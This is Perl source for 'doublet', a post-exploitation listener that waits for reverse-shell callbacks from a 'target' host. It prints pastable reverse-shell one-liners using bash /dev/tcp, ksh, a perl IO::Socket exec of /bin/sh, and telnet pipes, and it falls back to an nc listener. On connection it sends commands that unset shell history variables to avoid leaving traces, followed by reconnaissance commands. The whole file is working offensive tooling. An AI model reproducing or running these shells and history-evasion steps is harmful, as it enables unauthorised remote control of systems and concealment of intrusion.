#!/usr/bin/env perl
#use strict;
#TODO: $quiet aint working for some reason
#TODO: Test that other guy's box isn't hosed...
use IO::Socket ;

my ($usagetext, $prog, $port, $port2, $kidpid, $server, $server2,
    $client, $other_end, $other_iaddr, $other_ip, $other_port, $version,
    $defaultcommands, $tmp);
$version = "1.6.0.2";
$| = 1; # unbuffered output
myinit() ;

if ($destIP) {
  unless ($noescape) {
    progprint("Pastables below have \\, \$, \" and \` (backtick) characters escaped.");
    progprint("Use -e option to avoid escaping \\, \$, \" and \` (backtick).");
  }
  if ($oneportmode) {
    progprint("Use -t or -p for telnet or perl mode. Defaulting to one-port mode.");
  }
  print "\n\nChoose ONE remote command to connect to $prog from elsewhere:

$samples

NOTE: The \"2>\&1\" syntax is not recognized by csh on the other host. It
      gives the error 'ambiguous redirect'. If you see that, change to sh
      or bash before you run this on the other host (or use csh if you must
      but omit the three occurrences of 2>\&1 and any stderr from commands
      will not be seen in the $prog window).

" ;
}

doperlmode() if ($oneportmode or $perlmode) ; # this won't return
# remainder is telnet/ksh mode
# split into two processes
print STDERR "When connection established, will send up these commands:\n$defaultcommands\n\n" unless $quiet;

die "cannot fork: $! " unless (defined ($kidpid = fork())) ;

if (! $kidpid) { # child
  close (STDIN) ; # trying to fix
  my ($line) ; # trying to fix
  $server = IO::Socket::INET->new(LocalPort  => $port2,
				  Type       => SOCK_STREAM,
				  Reuse      => 1,
				  Listen     => 1 )
    or die "Cannot be a tcp server on port $port2 : $@\n";
  progprint("Waiting on $port2 for output",$COLOR_FAILURE,$COLOR_NOTE);


  $client = $server->accept() ;
  $other_end = getpeername($client)
    or die "Could not identify other end: $!\n";
  ($other_port, $other_iaddr) = unpack_sockaddr_in($other_end);
  $other_ip = inet_ntoa($other_iaddr) ;
  progprint("connect on $port2 for output from $other_ip:$other_port",$COLOR_FAILURE);
  # parent accepts output from other end
  while (defined ($line = <$client>) ) {
    print STDOUT "$line" ;
  }
} else { # parent
  my ($line) ; # trying to fix
  close (STDOUT) ; # trying to fix
  $server2 = IO::Socket::INET->new(LocalPort  => $port1,
				   Type       => SOCK_STREAM,
				   Reuse      => 1,
				   Listen     => 1 )
    or die "Cannot be a tcp server on port $port1 : $@\n";
  progprint("Waiting on $port1 for input",$COLOR_FAILURE,$COLOR_NOTE);

  $client = $server2->accept() ;
  $other_end = getpeername($client)
    or die "Could not identify other end: $!\n";
  ($other_port, $other_iaddr) = unpack_sockaddr_in($other_end);
  $other_ip = inet_ntoa($other_iaddr) ;
  progprint("connect on $port1 for  input from $other_ip:$other_port",$COLOR_FAILURE);
  print $client "$defaultcommands\n" unless $quiet;

  # child sends stdin through to other end
  while (defined ($line = <STDIN>) ) {
    print $client "$line" ;
  }
  kill ( "TERM" => $kidpid); # send SIGTERM to child
} # end if kid or not
exit;

sub usage {
  @_ = () if ( $_[0] eq "-h") ;
  print $usagetext unless (@_ or $opt_v) ;
  print $vertext unless (@_) ;
  progprint("\nFATAL ERROR: @_\n",$COLOR_FAILURE) if ( @_ and !$opt_h );
  exit;
} # end sub usage

sub ipcheck() {
  # returns 1 iff $ipstr is in dotted decimal notation with each 
  # octet between 0 and 255 inclusive (i.e. 0.0.0.0 and 255.255.255.255 are valid)
  local($ipstr,@junk) = @_;
  # need -1 in following split to keep null trailing fields (to reject "1.2.3.4.")
  @octets=split(/\./,$ipstr,-1);
  return 0 if ($#octets != 3);
  foreach (@octets) {
    # return 0 if (empty or nondigits or <0 or >255)
    return 0 if ($_ eq "" || ( /\D/ ) || $_ < 0 || $_ > 255);
  }
  return 1;
} # end sub ipcheck

sub myinit {
  use File::Basename;
  require "getopts.pl";
  $COLOR_SUCCESS="\033[1;32m";
  $COLOR_FAILURE="\033[1;31m";
  $COLOR_WARNING="\033[1;33m";
  $COLOR_NORMAL="\033[0;39m";
  $COLOR_NOTE="\033[0;34m";

  $prog = basename ${0} ;
  $vertext = "$prog version $version\n" ;
  $defaultcommands = "unset HISTFILE\nunset HISTFILESIZE\nunset HISTSIZE\n".
    "cd /tmp ; uname -a ; date ; date -u \n".
    "w ; pwd ; ls -alrt ; pwd" ;
  usage("bad option(s)") if (! &Getopts( "qvhi:peOo:t" ) ) ;
  $noescape = !$opt_e ;
  $scriptoverride = ($opt_O or ($opt_o eq "oo"));
  $perlmode = $opt_p ;
  $telnetmode = $opt_t;
  $oneportmode = (!$perlmode and !$telnetmode);
  $quiet = $opt_q ;
  $destIP = $opt_i ;
  unless ($destIP) {
    my @interface = (ppp0,eth0,eth1) ;
    foreach (@interface) {
      last if ($destIP) = 
	(`ifconfig $_ 2>/dev/null | grep inet` =~ /inet addr:([0-9.]+) /) ;
    }
  }
  $oneportsamples = "${COLOR_NOTE}
SOLARIS WITH /bin/ksh:$COLOR_NORMAL
 /bin/ksh -c \"/bin/sh < /dev/tcp/destIP/port1 >&0 2>&0\"

${COLOR_NOTE}
LINUX with /bin/bash$COLOR_NORMAL
 /bin/bash < /dev/tcp/destIP/port1 >&0 2>&0

${COLOR_NOTE}
or if on LINUX in csh or any shell but /bin/bash exists$COLOR_NORMAL
 /bin/bash -c \"/bin/bash </dev/tcp/destIP/18787 >&0 2>&0\"

";
  $perlsamples = "${COLOR_NOTE}
WITH perl IN PATH (or tack a path in front of this):$COLOR_NORMAL
perl -e 'use IO::Socket;use IO::Handle;\$s=IO::Socket::INET->new(\"destIP:port1\");close(STDIN);close(STDOUT);IO::Handle->new_from_fd(\$s,\"r\");open(STDIN,\"<\$_\");IO::Handle->new_from_fd(\$s,\"w\");open(STDOUT,\">\$_\");exec \"/bin/sh\";'

";
  $telnetsamples = "${COLOR_NOTE}
SOLARIS WITH ksh IN PATH (or tack a /bin/ in front of this):$COLOR_NORMAL
 ksh -c \"cat < /dev/tcp/destIP/port1 | /bin/sh 2>\&1 | cat > /dev/tcp/destIP/port2 2>\&1\"

${COLOR_NOTE}
LINUX WITH bash IN PATH or IN bash (or tack a /bin/ in front of this):$COLOR_NORMAL
 bash -c \"cat < /dev/tcp/destIP/port1 | /bin/sh 2>\&1 | cat > /dev/tcp/destIP/port2 2>\&1\"

${COLOR_NOTE}
ABOVE BUT ALREADY IN THE PROPER SHELL:$COLOR_NORMAL
 cat < /dev/tcp/destIP/port1 | /bin/sh 2>\&1 | cat > /dev/tcp/destIP/port2 2>\&1
$COLOR_FAILURE
In the rest, change 300 to longer if you need it, or start at \"(telnet\" if you know
you have a good stdin)
${COLOR_NOTE}
IF NO JOY ABOVE:$COLOR_NORMAL
 sleep 300 | (telnet destIP port1 2>\&1 ; sleep 1) | /bin/sh 2>\&1 | telnet destIP port2 2>\&1

${COLOR_NOTE}
IF NO JOY ABOVE AND ONLY HAVE csh (or see error \"Ambiguous output redirect\"):$COLOR_NORMAL
 sleep 300 | (telnet destIP port1 ; sleep 1) | /bin/sh | telnet destIP port2

";

  $perlsamples =~ s/([\\\"\`\$])/\\$1/g unless $noescape;
  $telnetsamples =~ s/([\\\"\`\$])/\\$1/g unless $noescape;
  $oneportsamples =~ s/([\\\"\`\$])/\\$1/g unless $noescape;
  ($port1,$port2) = @ARGV ;
  $port1 = int($port1) ;
  $port2 = int($port2) ;
  if ($oneportmode) {
    die("No second port needed with -1 (one-port) option") if $port2;
  }
  $port2 = $port1 + 1 unless ($port2 or !$port1);
  if ($destIP) {
    $telnetsamples =~ s/destIP/$destIP/g ;
    $perlsamples =~ s/destIP/$destIP/g ;
    $oneportsamples =~ s/destIP/$destIP/g ;
  }
  if ($port1) {
    $telnetsamples =~ s/port1/$port1/g;
    $perlsamples =~ s/port1/$port1/g;
    $oneportsamples =~ s/port1/$port1/g;
  }
  if ($port2) {
    $telnetsamples =~ s/port2/$port2/g;
    $perlsamples =~ s/port2/$port2/g;
    $oneportsamples =~ s/port2/$port2/g;
  }
  if ($telnetmode) {
    $samples = $telnetsamples;
  } elsif ($oneportmode) {
    $samples = $oneportsamples;
  } else { # perlmode
    $samples = $perlsamples;
  }
  my $helpsamples = "" ;
  $helpsamples .= "TELNET|dev/tcp MODE\n-------------------\n$telnetsamples" ;
  $helpsamples .= "PERL MODE\n---------\n$perlsamples" ;
  $helpsamples .= "ONE-PORT dev/tcp MODE\n---------------------\n$oneportsamples" ;

  $helpsamples =~ s/port1/$port1/g if $port1 ;
  $helpsamples =~ s/port2/$port2/g if $port2 ;

  $usagetext = "
Usage: $prog [options] [-i destIP] port1 [port2]

$prog waits for one or two tcp connections from a remote host. In perl
and one-port modes, just one port is used for both directions of traffic.

$prog defaults to one-port mode, the simplest on the target command line.
The name \"doublet\" comes from the historical initial use of this process
being what is now called telnet mode.

In telnet mode there are two ports calling back from the target: port1 is
used to send commands to the remote system, and port2 is used to bring
output from those commands back. Note, however, that both tcp connections
are originated from the remote side.

$prog will refuse to run if it is not in a scripted window.

In one-port and perl modes, $prog execs \"spawn\" to handle the incoming
connection, which must be in the PATH.

NOTE: The \"2>\&1\" syntax is not recognized by csh on the other host. It
      gives the error 'ambiguous redirect'. If you see that, change to sh
      or bash before you run this on the other host (or use csh if you
      must but omit the three occurrences of 2>\&1 and any stderr from
      commands will not be seen in the $prog window).

Use $prog with something like one of the following commands on the
remote host (ONLY ONE, and pick either telnet or perl mode with -t/-p):

$helpsamples
If port2 is omitted, port1+1 is used (but only in telnet|/dev/tcp mode).

The commands shown above are given as pastables with the actual ports and
IP (a local IP is shown if -i is not provided).

Unless the -q (quiet) parameter is used, $prog sends up these commands once a
connection is first received (but only in telnet mode):

";
  foreach (split (/\n/, $defaultcommands) ) {
    $usagetext .= "\t$_\n";
  }

$usagetext .="
Usage: $prog [options] [-i destIP] port1 [port2]

OPTIONS
 -O      override \"script\" requirement
 -q      quiet mode -- initial commands skipped in telnet|/dev/tcp mode
 -e      DO escape \\, \$, \" and \` (backtick) in pastables
 -i IP   IP in pastables that target will be calling back to (usu. here)
 -p      perl mode  -- use \"perl -e\" command to connect from target
 -t      Use telnet (two-port) mode
";
  $usagetext .= "\n";
  usage() if ($opt_h or $opt_v) ;
  usage("Bad IP $opt_i") if ($opt_i and (! &ipcheck($opt_i))) ;
  $defaultcommands = "" if ($quiet) ;
  usage("-h") unless (@ARGV == 1 or @ARGV == 2) ;

  usage("Invalid port $ARGV[0]") unless ($port1 eq $ARGV[0]) ;
  usage("Invalid port $port1") if ($port1 < 1 or $port1 > 65534) ;
  usage("Invalid port $port2") if ($port2 < 1 or $port2 > 65534) ;

  scriptordie() ;
  #  OK. Good to go from here.
}#myinit
sub progprint {
  local ($what,$color,$color2,$what2) = (@_) ;
  local $newlines ;
  $color = $COLOR_NOTE unless $color ;
  $color2 = $color unless $color2 ;
  $what2 = " $what2" if ($what2) ;
  while (substr($what,0,1) eq "\n") {
    $newlines .= "\n";
    $what = substr($what,1) ;
  }
  if ($color eq $COLOR_FAILURE) {
    $newlines .= "\a" ;
    select STDERR ;
  }
  $| = 1;
  print "$newlines${color2}$prog\[$$]$what2: ${color}$what$COLOR_NORMAL\n" ;
  select STDOUT ;
}
sub doperlmode {
  my $running = "Now running";
  unless ($port1) {
    $running = "If given a local port number to listen on, $prog would now have run";
  }
  foreach (split (/\n/, $defaultcommands) ) {
    $more .= "\t$_\n";
  }
  progprint("Here are some commands you may want once you receive the connection:\n\n$more\n");


  progprint("$running local listener via:\n\n  exec \"spawn 127.0.0.1 $port1 listen\" ;");
  if ($port1) {
    my $spawnprog = "spawn 127.0.0.1 $port1 listen";
    my $ncprog = "nc -vv -l -p $port1";
    progprint("Trying $spawnprog...");
    exec($spawnprog) or progprint("$prog cannot exec \"$spawnprog\"\n\nFATAL! $!\n\nTRYING nc instead",$COLOR_FAILURE);
    progprint("Trying $ncprog...");
    exec("nc -vv -l -p $port1") or progprint("$prog cannot exec \"$ncprog\"\n\nFATAL! $!",$COLOR_FAILURE);
    die($?);
  }
  exit;
}
sub dbg {
  progprint("DBG: @_");
}
sub scriptordie {
  my $ppid = getppid();
  my $pprocess = `ps -ef | grep $ppid | egrep -v "perl|grep"` ;
  my ($pppid) = $pprocess =~ /\w+\s+\w+\s+(\w+)/ ;
  my $scriptordie =  `pschain $$ 2>/dev/null | grep script.*script | tail -1` ;
  $scriptordie =  `ps -ef | grep $pppid | egrep -v "perl|grep" | grep script.*script | tail -1`
    unless $scriptordie;
  unless ($scriptordie) {
    my $processes = `pschain $$ 2>/dev/null`;
    $processes = `ps -ef | egrep "$$|$pppid" | egrep -v "grep"` unless $processes;
    unless ($scriptoverride) {
      usage("\aYou must run $prog in a scripted window.\n\nI.e., grandparent process must match \"script.*/script\" and does not:$COLOR_NOTE\n$processes\n");
    } else {
      progprint("WARNING: Overriding requirement for \"script -af\" in this window.

     That is there to protect you. If you continue unscripted, it's your problem.
     $prog will proceed in 10 seconds. Just wait.
",$COLOR_FAILURE);
      sleep 10 unless ($opt_o) ;
    }
  } else {
    $scriptordie =~ s/.*script/script/ ;
    chomp($scriptordie);
    progprint("Confirmed this window is scripted ($scriptordie)");
  }
}#scriptordie
